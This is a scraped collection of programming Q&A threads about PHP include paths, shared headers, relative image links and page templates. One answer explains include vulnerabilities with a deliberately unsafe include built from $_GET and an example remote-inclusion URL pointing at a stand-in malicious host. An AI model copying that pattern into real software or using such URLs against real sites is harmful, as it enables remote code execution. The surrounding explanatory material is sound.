PHP Not Finding My header.html File In Directory - php

I'm working on using PHP to give myself the same header, navigation and footer elements across all pages, but I have a problem; for some reason the .php file isn't recognizing the header.html file for a include("/header.html")
.php file
<html>
<head>
<meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">
<link rel="stylesheet" type="text/css" href="/style.css">
<title>Sample Game Type</title>
</head>
<body>
<?php include("/header.html"); ?>
<div id="gamelisting"><!--Gametype Shortcuts-->
<a href="http://www.solarfusionnerf.ca/game-types/carpe-testiculum.html">
<div class="gametype">'Carpe Testiculum' (also known as just Carpe)</div>
</a>
<div class="gametype">Other Game Here</div>
<div class="gametype">Add more as neccessary</div>
</div>
<div class="gameinfo"><!--Information about game type-->
<h2 style="text-align:center;"></h2><!--Name-->
<h3>Description</h3>
<h3>Objective</h3>
<h3>Rules</h3>
</div>
</body>
And then my header.html file.
<html>
<head>
<meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">
<link rel="stylesheet" type="text/css" href="style.css">
<title>Header</title>
</head>
<body>
<li><!--Header Buttons-->
<a href="http://www.solarfusionnerf.ca">
<div id="header">
Home
</div>
</a>
<a href="http://www.solarfusionnerf.ca/mods.html">
<div id="header">
Mods
</div>
</a>
<a href="http://www.solarfusionnerf.ca/selling.html">
<div id="header">
Selling
</div>
</a>
<a href="http://www.solarfusionnerf.ca/gallery.html">
<div id="header">
Gallery
</div>
</a>
<a href="http://www.solarfusionnerf.ca/contact.html">
<div id="header">
Contact
</div>
</a>
</li>
</body>
What am I doing wrong? The header.html file is in the root of my pubic_html file with the .php page I'm trying to connect with being in directory /game-types

When you use <?php include("/header.html"); ?> you are really saying look for a file named header.html at the root of my entire filesystem; not in your public_html directory (or even in a predefined include_path) with all your other files, like /path/to/public_html/header.html, you are literally looking for a file at /header.html.
It sounds like you want to include a file relative to the current directory.
Something like this:
include(__DIR__ . '/header.html');
or
include('header.html');

Related

Path is correct but images are not showing?

Hi I am trying to show side bar images which is in PHP from Include folder into PHP page but images are not showing on my page.
sidebar.php is used in other php files too which are present in root directory and for root directory files side.php images are working fine, only it gives me error in root-->folder-->newfile.php (here i include my side bar.php)
Root Directory --
include folder ---> sidebar.php
img --->me1.png
unesco-weltkulturerbe-suedafrika-reisen folder ---> abc.php
Sidebar.php
<div class="container-fluid">
<div class="row">
<nav class="social">
<ul>
<li><img src="img/me1.png" width="18">Tell: 02241-9424211 </li>
<li><img src="img/me2.png" width="18">Fax: 02241-9424299 </li>
<li><img src="img/me3.png" width="18">afrika#bct-touristik.com </li>
<li><img src="img/me4.png" width="18">Kurze Mitteilung o. Rückruf</li>
<li><img src="img/me5.png" width="18">Katalogbestellung</li>
<li><img src="img/me6.png" width="18">Reiseanmeldung</li>
<li><img src="img/me7.png" width="18">Übersicht alle Reisen</li>
</ul>
<div class="clearfix"></div>
</nav>
</div>
</div>
abc.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<!-- Side menu widget -->
<?php include('includes/sidebar.php'); ?>
<!-- Header includes menu too -->
<?php include('includes/header.php'); ?>
<div class="container-fluid about-inner">
<div class="row">
<div class="container">
<div class="row">
<div class="col-lg-12">
<h2>Das Weltkulturerbe und Weltnaturerbe in Südafrika</h2>
<ul class="breadcrumb">
<li>Home</li>
<li>Das Weltkulturerbe und Weltnaturerbe in Südafrika</li>
</ul>
</div>
</div>
</div>
</div>
</div>
You are displaying all images in the form
img/me1.png
img/me2.png
img/me3.png
img/me4.png
img/me5.png
img/me6.png
This will not work at all because img is a subfolder and images are not in root directory. Use this form instead:
/img/me1.png
/img/me2.png
/img/me3.png
/img/me4.png
/img/me5.png
/img/me6.png
The images should load now.

im including php file but after that my css and bootstrap is not working

im including db.php on the top of index.php file..but after including it my css and bootstrap is not working
this is my php file which im including. includes inside include is a folder and db.php file is inside it
<?php
include("includes/db.php");
?>
2.this is html code
<!DOCTYPE html>
<html>
<head>
<title>E-COMMERCE</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="stylesheet" type="text/css" href="style/style.css">
</head>
<body>
<div id="top">
<div class="container">
<div class="col-md-6 offer">
welcome guest
shopping card total price:inr 100,total item 2
</div>
<div class="col-md-6">
<ul class="menu">
<li>register</li>
<li>my account</li>
<li>go to cart</li>
<li>login</li>
</ul>
</div>
</div>
</div>
3.this is the php code for dynamic slider
<?php
$get_table="select * from slider LIMIT 0,1";
$run_slider=mysqli_query($con,$get_table);
while($row=mysqli_fetch_array($run_slider)){
$slider_name=$row['slider_name'];
$slider_image=$row['slider-image'];
echo "<div class='item active'>
<img src='admin_area/slider/$slider_image' alt='$slider_name'>
</div>";
}
?>
<?php
$get_table="select * from slider LIMIT 1,3";
$run_slider=mysqli_query($con,$get_table);
while($row=mysqli_fetch_array($run_slider)) {
$slider_name=$row['slider_name'];
$slider_image=$row['slider-image'];
echo "<div class='item'>
<img src='admin_area/slider/$slider_image' alt='$slider_name' >
</div>";
}
?>

HTML and PHP: How do I arrange my pages correctly?

I really have a problem with my pages... I have currently my style.css for my CSS, index.php for the home page, my "includes" folder for all my includes (navigation.php and header.php) and my register.php: http://prntscr.com/8320hv
I just started coding my work, so there is not much. I have a problem with the organization of my pages. I would like to put some content to my index.php:
http://prntscr.com/832496
Code:
<!DOCTYPE html>
<html lang="en-US">
<head>
<title>Test 2</title>
<meta charset="UTF-8">
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
<link href="css/style.css" rel="stylesheet">
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet">
</head>
<body>
<?php require "includes/navigation.php"; ?>
<?php require "includes/header.php"; ?>
<div class="wrapper">
<div id="container">
<div id="breadcrumb-top" class="breadcrumb">
<ul>
<li>
Home
</li>
</ul>
</div>
<span class="big-title">Home</span>
<div id="breadcrumb-bottom" class="breadcrumb">
<ul>
<li>
Home
</li>
</ul>
</div>
</div>
</div>
</body>
</html>
But if I would like to go in my register.php file, my index.php is not linked to it: http://prntscr.com/8322hn
I am obliged to operate this way, because I would like to assign a different content for my index.php and my register.php in the container: http://prntscr.com/8323ht
I am really lost with this, so if I could have help, I you acknowledging.
You are doing fine so far, you just need to include the separate content for each page within each page. Having a common navigation .php is a standard thing to do, though I would have navigation.php within the root folder, that way your relative links are easier to manage.
All 4 files in the same folder, with stylesheet.css in a css/ folder:
head.php:
<head>
<link href="css/stylesheet.css" rel="stylesheet" type="text/css">
</head>
nav.php:
<div class="nav">
<a href="index.php> home</a> |
<a href="register.php> register</a>
</div>
index.php:
<html>
<?php include "head.php"; ?>
<body>
<?php include "nav.php"; ?>
<div class="container">
<h1>This is home</h1>
</div>
</body>
</html>
register.php:
<html>
<?php include "head.php"; ?>
<body>
<?php include "nav.php"; ?>
<div class="container">
<h1>This is register</h1>
</div>
</body>
</html>

How come a simple PHP include file be vulnerable

I have a header.php and a footer.php which I include into all other pages like home, contact, about us etc.
The way I included the header and the footer file is
<?php include 'inc/header.php';
some code
some code
include 'inc/header.php'; ?>
Everything simple and works fine.
I decided to check my project for vulnerability and downloaded RIPS scanner. After the scan, the result
Userinput reaches sensitive sink.
5: include include 'inc/header.php'; // header.php
requires:
5: if(!in_array($_GET['file'], $files)) else
which basically say that both header and footer are vulnerable and I should use
if(!in_array($_GET['file'], $files)) else
How come a simple include header and footer file be vulnerable? and if vulnerable, how should i implement if(!in_array($_GET['file'], $files)) else ??
header.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="icon" href="images/common/lbfavicon.ico" />
<meta name="author" content="example.com" />
<link rel="stylesheet" type="text/css" href="template/css/reset.css" media="screen" />
<link rel="stylesheet" type="text/css" href="template/css/layout.css" media="screen"/>
</head>
<body>
<div id="header-wrapper">
<div class="container">
<div id="nav">
<ul>
<li>Home</li>
<li>About</li>
<li>Contact</li>
</ul>
</div><!-- nav ends -->
</div><!-- container ends -->
</div><!-- header wrapper ends -->
<div id="header">
<div class="container">
<div id="logo">
<img src="template/images/logo.png" width="125" height="45" alt="logo" />
</div><!-- logo ends -->
<div id="search">
<form method="get" action="searchresult.php">
<div class="form-item">
Search: <input type="text" maxlength="120" name="searchfor" />
</div>
</form>
</div><!-- search ends -->
</div><!-- container ends-->
</div><!-- header ends -->
<div class="container">
<div id="announcement">
<div id="breadcrumbs"></div>
</div><!-- announcement ends -->
<div id="pagewrapper">
Footer.php
<div id="bottom">
<div class="column">
<h2>Abc.com</h2>
<ul>
<li>About</li>
<li>Contact</li>
</ul>
</div>
<div class="column">
<h2>Mode of payment</h2>
<ul>
<li>Credit/Debit card | Cheque | Demand draft</li>
</ul>
<h2>Get in touch</h2>
<ul>
<li><img src="template/images/facebook.png" width="32" height="32" alt="facebook" /></li>
</ul>
</div>
<div class="column">
<h2>Call us / Mail us</h2>
<ul>
<li>0-9999384745 / info#example.com</li>
</ul>
<h2>Share us</h2>
<ul>
<li><img src="template/images/facebook.png" width="32" height="32" alt="facebook" /></li>
</ul>
</div>
<div style="clear: both;"></div>
</div> <!-- bottom ends -->
<div id="footer">
</div>
</div> <!--Pagewrapper end-->
</div>
</body>
</html>
Well I suppose this is just a warning but in a global way, when you include .php scripts which names come from user input, you should absolutely check if the names provided are correct or not (to prevent security issues).
For example, a lot of websites use a "global" file that would include file according to requests coming from the user.
Example :
<?php
$get = $_GET['action'];
if ($get == "index") {
include "includes/index.php";
}
//...
else
{
include $get .".php";
}
Now let's imagine someone want to include some malicious script within your website. If your server allow cross-website requests, then people could specify some external script that could be dangerous for your server or the others users.
Example : ./global.php?action=http://malicious4ever.com/dirtything

Include html pages in a php file

I would like to create a template using html and css so I created the following template.html file:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Application</title>
<link href="CSS/layout.css" rel="stylesheet" />
<script src=""></script>
</head>
<body>
<div class="wrapper">
<div class="header">
<!--<div class="header_left"></div>
<div class="header_right"> -->
<h3>Application</h3>
<h4>**** Project ****</h4>
</div>
<div class="navbar">
<ul class="mainnavbar">
<li>Home</li>
<li>About</li>
<li>Description</li>
<li>Contact Me</li>
</ul>
</div>
<div class="mainbody">
<div class="leftcol">
<div class="left_navbar">
<ul class="left_inner">
<li>Login</li>
<li>About</li>
<li>Description</li>
<li>Contact me</li>
</ul>
</div>
</div>
<div class="midcol">
Center
</div>
<div class="rightcol">
Right Column
</div>
</div>
<div class="footer">Designed By Me</div>
</div>
</body>
</html>
Because I want to create a dynamic website I want to separate this template.html into index.php, header.php, navbar.php, home.php and footer.php. So I did the following:
index.php
<?php
include("includes/header.html");
include("includes/navbar.html");
include("includes/home.html");
include("includes/footer.html");
?>
header.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Application</title>
<link href="CSS/layout.css" rel="stylesheet" />
<script src=""></script>
</head>
<body>
<div class="wrapper">
<div class="header">
<!--<div class="header_left"></div>
<div class="header_right"> -->
<h3>Application</h3>
<h4>****Project ****</h4>
</div>
navbar.html
<div class="navbar">
<ul class="mainnavbar">
<li>Home</li>
<li>About</li>
<li>Description</li>
<li>Contact Me</li>
</ul>
</div>
home.html
<div class="mainbody">
<div class="leftcol">
<div class="left_navbar">
<ul class="left_inner">
<li>Login</li>
<li>About</li>
<li>Description</li>
<li>Contact me</li>
</ul>
</div>
</div>
<div class="midcol">
Center
</div>
<div class="rightcol">
Right Column
</div>
</div>
footer.html
<div class="footer">Designed By me</div>
</div>
</body>
</html>
I have these files in a folder called includes. I just separated the file template.html in 4 html files and then called them from index.php, but I just get a white page when I run index.php in the browsers. Is there something missing?
Your code (syntax and idea with including html) is fine. That should work.
You have to search for problems somewhere else.
Maybe you have a problem with:
web server configuration (virtual hosts, directories etc.)
wrong url / wrong server (refreshing some web server url, but you work on local XAMPP)
file permissions (however apache normally should report error in that case)
Looking at web server error logs may help.
Make sure you aren't just running your template.html just by opening it locally in a browser.
Since PHP is a server side language, you would need to run the page on a live server on a local server such as Apache. WAMP is also a nice tool when locally developing sites that require PHP.
You can also use file_get_contents("path_to_file/file.html") instead of include()
But only if there is HTML content, not PHP

Categories